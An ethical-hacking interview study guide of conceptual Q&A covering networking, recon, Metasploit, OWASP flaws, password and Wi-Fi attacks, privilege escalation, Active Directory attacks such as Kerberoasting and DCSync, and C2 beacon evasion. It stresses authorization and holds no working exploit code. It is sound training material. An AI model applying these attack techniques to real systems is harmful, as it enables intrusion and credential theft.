1. Confirm scope/authorization in writing. 2) `nmap -sV -p- <IP>` for full recon. 3) Research each service version for known CVEs/exploits. 4) Run targeted enumeration (Gobuster/enum4linux/Nikto as relevant to open services). 5) Attempt exploitation of the most promising, lowest-risk finding first (e.g., Metasploit for a known exploit, manual testing for web app input flaws). 6) Once initial access is gained, run LinPEAS/WinPEAS for privilege escalation. 7) Document every command and result as you go, tagging each technique with its MITRE ATT&CK ID. 8) Write a full report translating technical findings into business risk with clear evidence and remediation steps.

200 THEORY / SPEAKING Questions — Ethical Hacking Roadmap Edition

Written for absolute zero-knowledge beginners → mapped to your Tier 0–7 roadmap

How to use this file: These are the "explain it out loud" questions — an interviewer asking "what is X" or "why does X matter." You don't type anything to answer these; you *talk*. Read a question, cover the answer, try to explain it in your own words like you're teaching a friend, then check. If you're truly at minute-zero, go top to bottom in order — each section assumes only what came before it.

TIER 0 — Setup & Ethics (Q1–Q8)

1. What is ethical hacking, in one sentence? Legally and officially breaking into systems (with permission) to find weaknesses before real criminals do.

2. What's the difference between a "hacker" and a "cybercriminal"? A hacker is just someone skilled at understanding/breaking into systems — intent and permission decide if that's legal (ethical hacker/pentester) or a crime (criminal/"black hat").

3. What does "authorization" mean in this field, and why is it the single most important word you'll ever learn here? Written, explicit permission from the system owner to test their system — without it, doing the exact same technical actions is a criminal offense, not a "grey area."

4. What is "scope" in a penetration test? The exact list of systems/networks/applications you're allowed to test, and what techniques are off-limits — going outside it, even accidentally, is a serious problem.

5. What are "Rules of Engagement" (RoE)? The formal document that spells out scope, timing, allowed techniques, and emergency contacts before a test begins.

6. What is a VM (virtual machine) and why do beginners practice inside one? A software-simulated computer running inside your real computer — it lets you safely practice hacking techniques on a fake/isolated machine without risking your real PC or breaking any law.

7. What is Kali Linux? A Linux operating system pre-loaded with hundreds of hacking/security tools, built specifically for penetration testing and used as the standard "attacker machine" in this field.

8. What is Metasploitable2, and why would you deliberately install a "broken" machine? An intentionally vulnerable Linux VM built for practice — it lets beginners legally attack real vulnerabilities in a safe, contained environment.

TIER 1 — Networking Foundations (Q9–Q30)

9. What is a computer network, in plain English? Two or more devices connected together so they can share data with each other.

10. What is an IP address? A unique numeric address assigned to a device on a network so other devices know where to send data.

11. What's the difference between a public IP and a private IP? Public IP is visible on the internet and unique worldwide; private IP is only used inside a local network (like your home Wi-Fi) and isn't directly reachable from the internet.

12. What is IPv4 vs IPv6? IPv4 is the older 32-bit addressing format (e.g., 192.168.1.1) with a limited number of addresses; IPv6 is the newer 128-bit format created because the world ran out of IPv4 addresses.

13. What is subnetting and CIDR notation? Subnetting divides a large network into smaller sub-networks; CIDR notation (e.g., /24) shows how many bits of an IP are the network portion.

14. What is NAT (Network Address Translation)? It lets many private devices share one public IP address to access the internet, hiding the internal network structure.

15. Explain the OSI model — what is it actually for? A 7-layer mental model (Physical → Data Link → Network → Transport → Session → Presentation → Application) that describes how data moves from one device to another, step by step — it helps you pinpoint exactly *where* a problem or attack is happening.

16. Explain the TCP/IP model and how it relates to OSI. A simplified, 4-layer real-world version of OSI (Network Access, Internet, Transport, Application) — this is what the actual internet runs on.

17. What is TCP and how is it different from UDP? TCP double-checks that data arrives correctly (reliable, used for web browsing/email); UDP just fires data without checking (faster, used for video calls/gaming).

18. Explain the TCP 3-way handshake like you're teaching a beginner.

Before two devices talk over TCP: Device A says "can we talk?" (SYN), Device B says "yes, can you hear me?" (SYN-ACK), Device A says "yes, let's go" (ACK) — now the connection is officially open.

19. What is a port, and why does every service need one? A numbered "door" on a device that a specific service listens on (e.g., web servers listen on port 80) — it lets one IP address run many different services at once.

20. What is HTTP and how is it different from HTTPS? HTTP is the protocol websites use to send/receive data in plain, readable text; HTTPS is the same thing but encrypted, so no one snooping on the connection can read it.

21. What is a cookie, in the context of websites? A small piece of data a website stores in your browser to remember you (e.g., keeping you logged in).

22. What is DNS and why do we need it? The system that translates human-readable website names (like google.com) into the numeric IP address computers actually use to find each other.

23. Name the DNS record types A, CNAME, MX, and TXT and what each does. A = maps a domain to an IPv4 address. CNAME = points one domain name to another domain name (an alias). MX = tells email where to be delivered. TXT = stores arbitrary text, often used for verification/security records.

24. What is DHCP? The protocol that automatically assigns an IP address to a device when it joins a network, so you don't have to set it manually.

25. What is SSH used for? Securely logging into and controlling a remote computer over an encrypted connection, mainly used for managing Linux servers.

26. What's the difference between FTP and SFTP? FTP transfers files in plain text (insecure); SFTP does the same thing but encrypted over SSH (secure).

27. What is SMB and why is it important specifically for Windows environments? Server Message Block — the protocol Windows uses for file/printer sharing between computers on a network; it's a huge target for attackers because of how much access it can reveal.

28. What is RDP? Remote Desktop Protocol — lets you see and control another Windows computer's full graphical desktop remotely.

29. Explain what a router, switch, and firewall each do, using a simple analogy. Router = the "post office" that directs traffic between different networks (like your home network and the internet). Switch = the "office receptionist" that directs traffic to the correct device inside one network. Firewall = the "security guard" that decides what traffic is allowed in or out.

30. What is a DMZ (Demilitarized Zone) in networking? A separate network segment placed between the internet and the internal network, hosting public-facing servers so that if they're compromised, the internal network is still protected.

31. What is the difference between a perimeter-based security model and a Zero Trust model? Perimeter model trusts anything already inside the network ("hard shell, soft center"); Zero Trust never automatically trusts anyone or anything, even inside the network, and verifies every single request.

32. Why does the shift to Zero Trust matter for understanding "lateral movement" later on? In an old perimeter model, once an attacker is inside, they're often trusted and can move freely; in Zero Trust, every internal hop still has to be verified, making lateral movement much harder — so understanding which model a target uses changes your whole attack approach.

TIER 1 — Linux

Fundamentals (Q33–Q44)

33. Why is Linux considered essential in cybersecurity, not just "a nice skill"? The vast majority of servers, cloud infrastructure, and virtually all hacking tools run on Linux — you cannot function in this field without terminal comfort.

34. What is the Linux file system hierarchy — explain /etc, /var, /tmp, /home, /bin. /etc = configuration files. /var = variable data like logs. /tmp = temporary files, cleared periodically. /home = user personal directories. /bin =

essential system programs/commands.

35. What does "everything is a file" mean in Linux? Even devices, processes, and system info are represented and accessible as files — this consistent design is why so many Linux commands work by simply reading/writing files.

36. What is the difference between a shell and a terminal? The terminal is the window/interface you type into; the shell is the actual program (like bash) that interprets your commands and runs them.

37. Explain Linux file permissions (rwx) for user, group, and other. Every file has 3 permission sets — owner, group, everyone else — each can have read (r), write (w), execute (x) permission, controlling exactly who can do what with that file.

38. What is `sudo` and why is it powerful and dangerous at the same time? It temporarily grants a regular user root (admin-level) privileges for a single command — powerful because it enables full system control, dangerous because misconfiguring it is one of the most common privilege escalation paths.

39. What is a bash script and why would a hacker write one? A text file of Linux commands that run in sequence automatically — hackers/defenders write them to automate repetitive tasks like running the same scan against 50 targets.

40. What's the difference between `grep`, `awk`, and `sed` at a conceptual level? `grep` searches text for a pattern. `awk` processes and extracts columns/fields from structured text. `sed` finds and replaces text within a file — all three are core tools for digging through logs and output.

41. What does the `ps` command show you, and why would you check it during an investigation? It lists currently running processes on the system — useful to spot suspicious or unexpected processes that might indicate malware or an attacker's presence.

42. What is `systemctl` used for? Managing background services on modern Linux systems — starting, stopping, enabling, or checking the status of things like a web server or SSH.

43. What does `useradd`, `usermod`, and `passwd` each do? `useradd` creates a new user account. `usermod` modifies an existing account (e.g., adding it to a group). `passwd` sets or changes a user's password.

44. Why would a security professional care about package managers like `apt` or `yum`? They install/update software — outdated software installed through them is one of the most common sources of exploitable vulnerabilities on a system.

TIER 1 — Windows

Fundamentals (Q45–Q54)

45. What is the Windows Registry? A giant hierarchical database that stores almost every configuration setting for Windows and installed applications — attackers and forensic investigators both examine it closely.

46. What is a Windows "service" and why do attackers care about them? A background program that runs continuously (often as SYSTEM, the highest privilege) — misconfigured services are a classic privilege escalation path.

47. What's the difference between a process and a thread (Windows or general OS concept)? A process is an independent running program with its own memory; a thread is a smaller unit of work inside that process that can run alongside other threads sharing the same memory.

48. What is PowerShell and why is it more powerful (and more dangerous) than the classic CMD? PowerShell is a modern scripting shell built into Windows with deep access to the OS and .NET — it's more capable for both

admins and attackers because it can do almost anything to the system programmatically, and it's harder for basic antivirus to flag since it's a trusted Windows tool.

49. What is a "cmdlet" in PowerShell? A built-in PowerShell command (e.g., `Get-Process`) that follows a consistent Verb-Noun naming pattern.

50. What is Active Directory, explained simply? A centralized Microsoft system that manages all the users, computers, and permissions across an entire company network from one place.

51. What is a Domain Controller? The server that runs Active Directory and handles all authentication requests (logins) for the domain — it's essentially the "brain" of the network, making it a top attacker target.

52. What is the difference between a domain, tree, and forest in Active Directory? A domain is one unit of users/computers. A tree is a group of related domains sharing a naming structure. A forest is a collection of trees — the top-level security boundary in AD.

53. What is a Group Policy Object (GPO)? A set of rules an admin defines once that automatically applies settings (security policies, software, restrictions) to many computers/users across the domain.

54. What's the high-level difference between NTLM and Kerberos authentication? NTLM is an older, weaker challenge-response authentication method; Kerberos is the more modern, ticket-based system Active Directory uses by default, and it's central to many advanced AD attacks you'll learn later.

TIER 2 — OSINT / Reconnaissance (Q55– Q64)

55. What does OSINT stand for and what is it? Open-Source Intelligence — gathering information about a target using only publicly available sources, without touching the target's systems directly.

56. Why is OSINT/passive recon done before anything else in an engagement? It's completely undetectable by the target (you're not interacting with their systems), and it builds the map you need before deciding where to look deeper.

57. What is a WHOIS lookup used for? Looking up the registration details of a domain name — who registered it, when, and sometimes contact/server info.

58. What is Google Dorking? Using advanced Google search operators (like `site:`, `filetype:`, `intitle:`) to find specific, often sensitive information that's publicly indexed but not meant to be easily found.

59. What is Shodan and how is it different from a normal search engine? A search engine that indexes internet-connected devices (servers, webcams, industrial systems) themselves rather than webpages, letting researchers/attackers find exposed devices worldwide.

60. What is subdomain enumeration and why does it matter? Discovering all the subdomains (like `mail.company.com`, `dev.company.com`) belonging to a target — forgotten/less-secured subdomains are often the easiest way in.

61. What is the Wayback Machine used for in reconnaissance? Viewing historical/archived versions of a website — attackers use it to find old pages, endpoints, or leaked info that used to be public but was later removed.

62. What is a subdomain takeover attack, explained simply? When a subdomain's DNS record still points to a cloud service the company no longer owns (like an old, deleted hosting page), an attacker can claim that same service and effectively take control of what appears on the company's own subdomain.

63. Why is subdomain takeover considered "low-hanging fruit" in real-world testing? It's easy to find with automated tools, easy to exploit once found, and companies frequently forget to clean up old DNS records when they decommission services — making it a common, high-impact, low-effort finding.

64. What's the ethical difference between OSINT for a pentest and OSINT for stalking someone? Authorization and intent — OSINT for a pentest is scoped, authorized, and documented for defensive purposes; using the same techniques on a private individual without consent is a privacy violation, potentially criminal (stalking/harassment).

TIER 2 — Scanning & Enumeration (Q65–Q74)

65. What is the difference between reconnaissance and enumeration?

Reconnaissance is broad information gathering (often passive); enumeration is actively and specifically digging into a target's services to extract detailed, usable information (usernames, shares, versions).

66. What is Nmap, described in one sentence? A tool that scans a target to discover which ports are open and what services/software are running on them.

67. What is the difference between a TCP SYN scan and a full TCP connect scan conceptually? A SYN scan only sends the first handshake step and doesn't complete the connection (quieter/stealthier); a full connect scan completes the entire handshake (more reliable, but noisier and logged).

68. What is service version detection and why does it matter for finding exploits later? Identifying exactly which software and version is running behind an open port — once you know the exact version, you can search for known vulnerabilities/exploits specific to it.

69. What is OS fingerprinting? Determining what operating system a target is running based on subtle differences in how its network stack responds to certain probes.

70. What is the Nmap Scripting Engine (NSE) used for? Running additional automated scripts against discovered services to check for known vulnerabilities, misconfigurations, or extra information — extending Nmap beyond just port scanning.

71. What is SMB enumeration and why is it so often a goldmine on Windows networks? Actively probing SMB shares/services to find accessible file shares, usernames, or "null sessions" that leak information without needing credentials — Windows networks frequently expose more than intended here.

72. What is directory/web enumeration (as done by tools like Gobuster or Dirb)? Automatically guessing common folder/file names on a website to discover hidden pages, admin panels, or backup files that aren't linked anywhere visible.

73. What's the difference between a vulnerability scanner (like Nessus/Nikto) and a manual pentest? A scanner automatically checks a target against a huge database of known issues and produces a report; manual testing involves a human actually understanding and exploiting logic, chaining vulnerabilities, and finding things automated tools miss.

74. Why would you spend time doing recon-only against 5–8 boxes before ever attempting exploitation, as the roadmap suggests? Because real-world hacking is 80% methodical information gathering and 20% execution — rushing to exploit without full understanding of the target leads to missed vulnerabilities and sloppy, unprofessional work.

TIER 2 — MITRE ATT&CK & Threat Modeling (Q75– Q82)

75. What is the MITRE ATT&CK framework, explained simply? A giant, publicly maintained knowledge base that catalogs real-world attacker behaviors, organized into categories like Initial Access, Execution, Persistence, etc. — it's the shared "vocabulary" the entire security industry uses to describe attacks.

76. Why is knowing MITRE ATT&CK considered essential even for beginners? It's the common language between red teams (attackers) and blue teams (defenders) — being able to say "this is T1558.003, Kerberoasting" instead of a vague description instantly signals professionalism and precision.

77. Name 4 MITRE ATT&CK tactic categories and explain one in your own words. Examples: Initial Access, Execution, Persistence, Privilege Escalation, Lateral Movement, Exfiltration, Impact. E.g., "Persistence" = techniques an attacker uses to make sure they keep their access even after the system reboots or credentials change.

78. What is a "Technique ID" in MITRE ATT&CK, and give an example. A unique code identifying a specific attack technique (e.g., T1558.003 = Kerberoasting) — used in reports and threat intel to reference exact behaviors precisely.

79. What is threat modeling, in plain terms? The process of thinking through, before an attack happens, what could go wrong in a system — what's valuable, who might attack it, and how — so defenses can be prioritized around real risk instead of guesswork.

80. What does STRIDE stand for (just name the categories, high level)?

Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege — a framework for categorizing types of threats to a system.

81. What's the difference between DREAD and STRIDE at a conceptual level?

STRIDE categorizes *what kind* of threat something is; DREAD is a scoring method (Damage, Reproducibility, Exploitability, Affected users, Discoverability) used to rate *how severe* a given threat is.

82. Why does understanding threat modeling change how you explain

"why a vulnerability matters" to a manager? Instead of saying "this is a critical CVSS 9.8," you can explain it in business terms — what asset is at risk, who could exploit it, and what the real-world impact would be — which is what actually gets a fix prioritized.

TIER 3 — Network Penetration Testing & Metasploit (Q83–Q92)

83. What is Metasploit, described for a total beginner?

A framework/toolkit pre-loaded with hundreds of known exploits and payloads, letting you select, configure, and launch an attack against a vulnerable target through a structured interface instead of writing exploit code from scratch.

84. In Metasploit, what do the commands `search`, `use`, `set`, and `exploit`

each do? `search` finds relevant modules. `use` selects one to work with. `set` configures its required options (like target IP). `exploit` launches it.

85. What is a payload in the context of Metasploit/exploitation? The actual code that runs on the target after a vulnerability is successfully exploited — e.g., a piece of code that opens a remote shell for the attacker.

86. What is Meterpreter? An advanced, in-memory Metasploit payload that gives an attacker an interactive, feature-rich shell on the compromised machine (file access, screenshots, pivoting, and more) beyond a basic command shell.

87. What is the difference between a reverse shell and a bind shell, explained with an analogy? Reverse shell: the victim machine calls *you* (like the victim dialing your phone) — usually bypasses inbound firewall rules. Bind shell: you call *the victim* (you dial their phone) — requires their port to be open and reachable.

88. What is ExploitDB and the searchsploit tool used for? ExploitDB is a public archive of known, published exploits; `searchsploit` lets you search that archive offline/locally to quickly find an existing exploit for a specific software version.

89. What is EternalBlue/MS17-010, and why is it still taught as a learning example? A famous Windows SMB vulnerability (used in the WannaCry ransomware outbreak) that lets an attacker remotely execute code without authentication — it's a perfect teaching example because it demonstrates a full real-world exploitation chain clearly.

90. What does "post-exploitation" mean? Everything an attacker does *after* successfully gaining initial access — like escalating privileges, moving to other systems, or extracting data.

91. Why do beginners practice against intentionally vulnerable services like vsftpd or Samba instead of jumping straight to real targets? These have well-documented, known vulnerabilities in a safe/legal lab setting, letting you learn the full exploitation process (recon → exploit → shell) without the complexity or risk of an unpredictable real-world target.

92. What is the general step-by-step flow of a network exploitation attempt? Scan/identify the target's open services → identify the exact software version → search for a known exploit matching that version → configure and

launch it → confirm you have a shell/access.

TIER 3 — Web Application Hacking / OWASP Top 10 (Q93–Q112)

93. Why does the roadmap call web application hacking "the single most important skill block"? Web applications are everywhere, are internet-facing by design (giving attackers direct access), and the vast majority of real-world breaches and bug bounty payouts come from web app vulnerabilities.

94. What is Burp Suite, in plain terms? A tool that sits between your browser and a website, letting you see, intercept, and modify every request/response — essential for actually understanding and manipulating how a web app behaves.

95. What is SQL Injection, explained to someone who's never coded? A website normally takes your input (like a username) and plugs it into a database question behind the scenes — SQL injection is tricking that input so instead of answering the intended question, the database does something the developer never intended, like revealing all its data.

96. What's the difference between error-based, union-based, and blind SQL injection? Error-based reveals data through visible database error messages. Union-based combines your injected query with the original to pull data directly into the page. Blind injection gets no visible data back at all — you infer information indirectly through true/false responses or timing delays.

97. What is `sqlmap` and why should you understand SQL injection manually before relying on it? An automated tool that detects and exploits SQL injection for you — you should understand it manually first because

interviews and real edge cases require you to actually reason about *why* it works, not just run a tool.

98. What is Cross-Site Scripting (XSS), explained simply? Injecting malicious code (usually JavaScript) into a webpage so that it runs in *other people's* browsers when they view that page — like planting a trap that goes off for anyone who visits.

99. Explain the difference between reflected, stored, and DOM-based XSS. Reflected: the malicious script comes from the current request (like a link) and reflects back immediately, affecting only whoever clicks that specific link. Stored: the script is permanently saved on the server (e.g., in a comment) and affects everyone who views that page. DOM-based: the vulnerability exists purely in client-side JavaScript, without the server ever seeing the malicious payload.

100. What is Local File Inclusion (LFI) and Remote File Inclusion (RFI)? LFI tricks a vulnerable app into displaying files already on its own server that it shouldn't (like system config files). RFI tricks it into loading and running a malicious file from a remote, attacker-controlled server.

101. What is a file upload vulnerability? When a website lets users upload files but doesn't properly check what's actually inside them, letting an attacker upload a disguised malicious script instead of an image and then run it.

102. What is a web shell? A malicious script an attacker uploads to a compromised server that gives them an ongoing remote command interface through the website itself.

103. What is command injection? When an application takes user input and unsafely passes it directly to the underlying operating system to run as a command, letting an attacker run their own OS-level commands through the app.

104. What is authentication bypass and name 2 ways it commonly happens. Getting logged in / past authentication without properly proving your identity. Common ways: using unchanged default credentials, or exploiting a logic flaw (e.g., an app that trusts a hidden parameter saying "isAdmin=true").

105. What is IDOR (Insecure Direct Object Reference)? When an app lets you access another user's data just by changing an ID/number in the URL or request, because it never actually checks if *you're* allowed to see that specific record.

106. What is CSRF (Cross-Site Request Forgery)? Tricking a logged-in user's browser into unknowingly submitting a request (like transferring money) on a site they're already authenticated to, just by visiting a malicious page.

107. What is SSRF (Server-Side Request Forgery)? Tricking the *server* itself into making a request to somewhere the attacker chooses, often used to reach internal systems the server can access but the attacker normally couldn't reach directly.

108. What is Broken Access Control, and why is it listed as its own OWASP category separate from IDOR/CSRF? The broad category covering any failure to properly enforce what a user is and isn't allowed to do — IDOR and CSRF are specific *examples* of broken access control, but the category also covers things like URL-based restriction bypass or missing permission checks entirely.

109. Why does the roadmap say to "know all 10, not just the famous 3"? Interviewers and real-world apps go far beyond just SQLi/XSS/CSRF — genuinely understanding the full OWASP Top 10 (including less-famous ones like SSRF, misconfig, and broken access control) is what separates a well-rounded candidate from one who only memorized buzzwords.

110. What is the general mindset difference between "using a payload someone gave you" and "understanding why a payload works"? Using a given payload is following instructions; understanding *why* it works means you can adapt it when the exact payload doesn't work, craft your own for a new situation, and explain your findings credibly — which is what real pentesting and interviews actually require.

111. What is input validation, and why is its absence the root cause of most of the vulnerabilities above? Checking that user-supplied input matches what's expected (format, length, type) before processing it — nearly

every injection-style vulnerability (SQLi, XSS, command injection) exists because an app trusted input it should have validated.

112. Explain, in your own words, why "never trust user input" is the golden rule of web security. Because any data coming from outside your application's control — a form field, a URL parameter, a cookie, an uploaded file — can be manipulated by an attacker to be anything at all, so the application must always independently verify and sanitize it rather than assume it's safe.

TIER 3 — API Security

(Q113–Q120)

113. What is an API, explained without jargon? A defined way for two pieces of software to talk to each other and exchange data, without either needing to know how the other works internally.

114. What's the basic difference between REST and GraphQL APIs? REST exposes multiple fixed endpoints, each returning a fixed structure of data. GraphQL exposes a single flexible endpoint where the client specifies exactly what data it wants in one request.

115. What is BOLA (Broken Object Level Authorization) and why is it now #1 on the OWASP API Top 10? It's essentially IDOR for APIs — an API lets you access another user's object/data just by changing an ID, without checking if you're authorized — it's #1 because it's extremely common and directly exposes real user data.

116. What is rate limiting, and what happens if an API doesn't have it? A control that restricts how many requests a user/IP can make in a given time — without it, attackers can brute-force logins, scrape all your data, or overload your service without any friction.

117. What is a JWT (JSON Web Token)? A compact, self-contained token format commonly used for API authentication, containing encoded (not necessarily encrypted) data about the user and a signature to verify it hasn't been tampered with.

118. What is the `alg:none` JWT attack, explained simply? Some poorly-configured servers will accept a JWT that claims "no signature algorithm was used," letting an attacker forge a token with whatever data they want since there's nothing to verify it against.

119. What is a weak JWT secret attack? If the secret key used to sign JWTs is weak/guessable, an attacker can brute-force it offline and then forge valid, signed tokens for any user they choose.

120. Why does the roadmap describe SSRF via API endpoints as a common chain "into cloud credential theft"? Cloud servers often run a special internal-only metadata service holding temporary credentials; if an API is vulnerable to SSRF, an attacker can trick the server into fetching that internal metadata endpoint on their behalf and steal the cloud credentials directly.

TIER 3 — Password Attacks (Q121–Q128)

121. What is hashing, in the context of passwords? Converting a password into a fixed, scrambled, one-way value before storing it — so even if the database is stolen, the attacker doesn't directly get plaintext passwords.

122. Why are MD5 and SHA1 considered weak for password hashing today, while bcrypt is considered strong? MD5/SHA1 are fast algorithms, which means attackers can try billions of guesses per second against a stolen hash; bcrypt is intentionally slow and resource-heavy, dramatically reducing how many guesses an attacker can try in the same time.

123. What is hash identification and why is it the first step before attacking a hash? Determining exactly which hashing algorithm produced a given hash (based on length/format) — you need to know this before you can select the correct cracking method/tool settings.

124. What's the difference between an "online" and "offline" password attack? Online: guessing directly against a live login form/service (slow, noisy, rate-limited). Offline: guessing against a stolen hash on your own machine (fast, silent, limited only by your hardware).

125. What is Hydra used for? An online password brute-forcing tool used to try many username/password combinations against live services like SSH, FTP, or web login forms.

126. What's the difference between Hashcat and John the Ripper, conceptually? Both crack password hashes offline, primarily differing in performance characteristics and GPU acceleration support (Hashcat is generally faster with GPU-based cracking) — in practice, both are core tools in a cracking workflow.

127. What is a wordlist, and what is rockyou.txt specifically? A list of candidate passwords used in dictionary-style cracking attempts; rockyou.txt is a famous, massive real-world leaked password list widely used as the default starting wordlist in the industry.

128. What do tools like CeWL and Mentalist do? They generate custom, targeted wordlists — CeWL scrapes words from a specific target's website (since people often use company-related words in passwords), Mentalist helps build custom wordlists with rules/mutations.

TIER 3 — Wireless Network Attacks (Q129–Q136)

129. What are the 3 types of 802.11 (Wi-Fi) frames? Management frames (handle connecting/authenticating), Control frames (manage the flow of data), and Data frames (carry the actual data being transmitted).

130. What is the WPA2 4-way handshake? The process where a device and a Wi-Fi router exchange 4 messages to prove they both know the network password and generate a unique encryption key for that session — capturing this handshake is the basis of most WPA2 cracking attacks.

131. How does WPA3 improve on WPA2's weaknesses conceptually? WPA3 uses a more secure key exchange method that makes it far more resistant to the offline handshake-capture-and-crack attacks that work against WPA2.

132. What is aircrack-ng used for? A suite of tools for capturing wireless traffic, capturing WPA/WPA2 handshakes, and cracking them offline.

133. What is an "Evil Twin" attack? Setting up a fake Wi-Fi access point with the same name as a legitimate one, tricking victims into connecting to the attacker's network instead of the real one.

134. What is a deauthentication (deauth) attack? Forcibly disconnecting a device from a Wi-Fi network by sending forged "disconnect" packets — often used to force a fresh handshake to capture, or as part of setting up an Evil Twin.

135. What is a WPS PIN attack (Reaver)? Exploiting a weakness in the WPS (Wi-Fi Protected Setup) feature's PIN system to brute-force a router's PIN and recover the Wi-Fi password, bypassing the need to crack the actual WPA2 handshake.

136. At a concept level, what makes Bluetooth (BLE) sniffing and RFID/NFC cloning different from Wi-Fi attacks? They target completely different short-range wireless protocols/hardware (used in things like smart locks, access badges, and payment cards) rather than internet Wi-Fi, usually requiring specialized hardware beyond a normal Wi-Fi adapter.

TIER 4 — Linux Privilege Escalation (Q137–Q144)

137. What does "privilege escalation" mean, explained simply? Going from limited access (a regular user account) to full control (root/admin) on a system you've already gained some access to.

138. What is LinPEAS and what is it used for? An automated enumeration script that scans a compromised Linux machine and highlights likely privilege escalation opportunities (misconfigurations, weak permissions, etc.).

139. What does "check GTFOBins" mean when someone mentions a sudo misconfiguration? GTFOBins is a curated list showing how common, seemingly harmless Linux binaries (like `vim` or `find`) can be abused to escalate privileges or break out of restricted environments when a user has sudo rights to run them.

140. What is a SUID/SGID binary and why is it a privilege escalation risk? A file with a special permission bit that makes it run with the *file owner's* privileges (often root) rather than the user running it — if such a binary can be manipulated, it can be abused to gain root.

141. What is cron job exploitation? If a scheduled task (cron job) that runs as root executes a script that a lower-privileged user can edit, that user can insert their own malicious commands to have them run with root privileges.

142. What is PATH variable hijacking? Exploiting the order the system searches for commands (the `$PATH` variable) by placing a malicious file with the same name as a legitimate command earlier in that search order, tricking a privileged process into running the attacker's version instead.

143. What is a kernel exploit, and why is "Dirty Cow" mentioned as an example? An exploit targeting a flaw in the operating system's core (the kernel) itself, often granting full root access when successful; Dirty Cow is a famous

real Linux kernel vulnerability commonly used as a teaching example.

144. Why does the roadmap say to know the concept of kernel exploits "even if you don't run every CVE"? Kernel exploits are numerous and version-specific, so memorizing every one is impractical — what actually matters is understanding the general concept well enough to recognize when a vulnerable kernel version might be exploitable and know where to look.

TIER 4 — Windows

Privilege Escalation (Q145–Q152)

145. What is WinPEAS/PowerUp used for? Automated Windows enumeration tools that scan a compromised machine for common privilege escalation opportunities, similar to LinPEAS on Linux.

146. What is an unquoted service path vulnerability? When a Windows service's file path contains spaces but isn't wrapped in quotes, Windows may misinterpret part of the path as a separate, attacker-placed executable and run it instead — with the service's (often SYSTEM) privileges.

147. What is a weak service permission vulnerability? When a low-privileged user has permission to modify a Windows service's configuration or replace its binary, they can point it to their own malicious file, which then runs with the service's elevated privileges.

148. What is AlwaysInstallElevated MSI abuse? A misconfigured Windows Group Policy setting that lets any user install .msi packages with full SYSTEM privileges, letting an attacker install a malicious package to escalate privileges.

149. Why do attackers look for stored credentials in the registry, config files, and Credential Manager? Because plaintext or reversible passwords/keys left behind by administrators or applications are one of the fastest, simplest routes to escalate privileges or move laterally without needing to crack or exploit anything.

150. What is token impersonation, at a concept level (e.g., RoguePotato/JuicyPotato)? Abusing Windows' internal system of security "tokens" (which represent a user's identity/privileges) to trick a privileged service into acting on the attacker's behalf, effectively borrowing its higher privileges.

151. Why is privilege escalation described as "where most self-taught people stop practicing"? Getting initial low-privilege access is well-documented and heavily practiced in beginner labs, but reliably escalating to full control requires deeper OS knowledge and patience — many self-learners plateau here because it's genuinely harder and less step-by-step than initial access.

152. What's the practical difference between Linux and Windows privilege escalation in terms of mindset? Linux privesc is largely about misconfigured permissions/scripts and kernel bugs; Windows privesc is largely about service misconfigurations, stored credentials, and exploiting how Windows' privilege/token system works — both require careful, methodical enumeration rather than guessing.

TIER 4 — Active Directory Exploitation (Q153–Q168)

153. What is BloodHound and why is it described as essential for AD attacks? A tool that visually maps out all the relationships (users, groups, permissions, computers) inside an Active Directory environment, revealing

hidden attack paths to Domain Admin that would be nearly impossible to spot manually.

154. What is SharpHound and how does it relate to BloodHound? The data-collection tool that gathers raw AD information from the network; BloodHound then visualizes that collected data as an interactive graph.

155. What is AS-REP Roasting, explained simply? If a user account has "pre-authentication" disabled in Kerberos, an attacker can request that account's encrypted authentication data without even knowing a password, then try to crack it offline.

156. What is Kerberoasting, explained simply? Requesting a Kerberos "service ticket" for any account that runs a service, which comes back encrypted with that service account's password hash — the attacker takes it offline and tries to crack the password without ever alerting the system.

157. Why are both AS-REP Roasting and Kerberoasting attractive to attackers ("quiet") compared to online brute-forcing? Both let the attacker capture something offline and crack it at their own pace, on their own hardware, without ever repeatedly hitting the target's login system — making them far less likely to trigger lockouts or alerts.

158. What is Pass-the-Hash (PtH)? Using a stolen password *hash* directly to authenticate to another system, without ever needing to crack it into the actual plaintext password.

159. What is CrackMapExec (CME) used for? A tool for testing/using stolen credentials (passwords or hashes) across many machines on a network at once, useful for both enumeration and lateral movement.

160. What does the Impacket toolset (e.g., `psexec.py`, `wmiexec.py`, `secretsdump.py`) generally let an attacker do? Remotely execute commands on Windows machines and extract stored credentials/secrets, using various native Windows protocols instead of relying on GUI tools.

161. What is a Golden Ticket attack, at a concept level? By stealing the special account (KRBTGT) that Active Directory uses to sign all Kerberos tickets, an attacker can forge a ticket granting themselves unlimited, near-permanent access to the entire domain.

162. What's the difference between a Golden Ticket and a Silver Ticket? A Golden Ticket forges access to the *entire domain* using the KRBTGT account; a Silver Ticket forges access to just *one specific service* using that service account's own hash — more limited but harder to detect.

163. What is DCSync and what does mimikatz extract when used for it? DCSync abuses legitimate domain replication permissions to trick a Domain Controller into handing over password hashes for any account (including the highly privileged KRBTGT), as if the attacker's machine were another legitimate Domain Controller.

164. What is a delegation attack in Active Directory, at a very high level? Abusing legitimate Kerberos "delegation" features (which let a service act on a user's behalf) to trick the system into letting the attacker impersonate other, more privileged users.

165. What are PowerView and Rubeus generally used for? PowerView is a PowerShell toolkit for enumerating Active Directory objects/permissions; Rubeus is a toolkit focused specifically on Kerberos ticket manipulation and abuse.

166. Why is cross-domain/forest trust abuse called "genuinely elite-tier material"? It requires deep understanding of how multiple Active Directory domains/forests establish trust with each other, and exploiting it means navigating layers of complex, interconnected permissions most practitioners never need to touch.

167. Why must Golden Ticket, DCSync, and mimikatz techniques only ever be run in your own authorized lab? These are among the most powerful and damaging AD attacks that exist — used outside an authorized environment, they don't just violate ethics/law, they can cause catastrophic, hard-to-reverse damage to a real organization's entire network.

168. In one sentence, why is Active Directory such a high-value target compared to a single web server? Compromising AD often means compromising the authentication system for an *entire organization* at once, rather than just one isolated machine.

TIER 4 — C2 Frameworks & OPSEC (Q169–Q173)

169. What is a Command and Control (C2) framework, explained simply? Software that lets an attacker remotely manage many compromised machines at once from a central server, sending commands and receiving data through an "agent" or "beacon" installed on each victim.

170. What is a "beacon" in C2 terminology? The small agent program running on a compromised machine that periodically "checks in" with the attacker's server to receive new instructions, rather than maintaining a constant open connection.

171. What does "jitter" mean in the context of beacon check-in intervals, and why would an attacker use it? Randomizing the timing between beacon check-ins instead of a fixed interval, making the traffic pattern less predictable and harder for defenders to detect as automated/malicious.

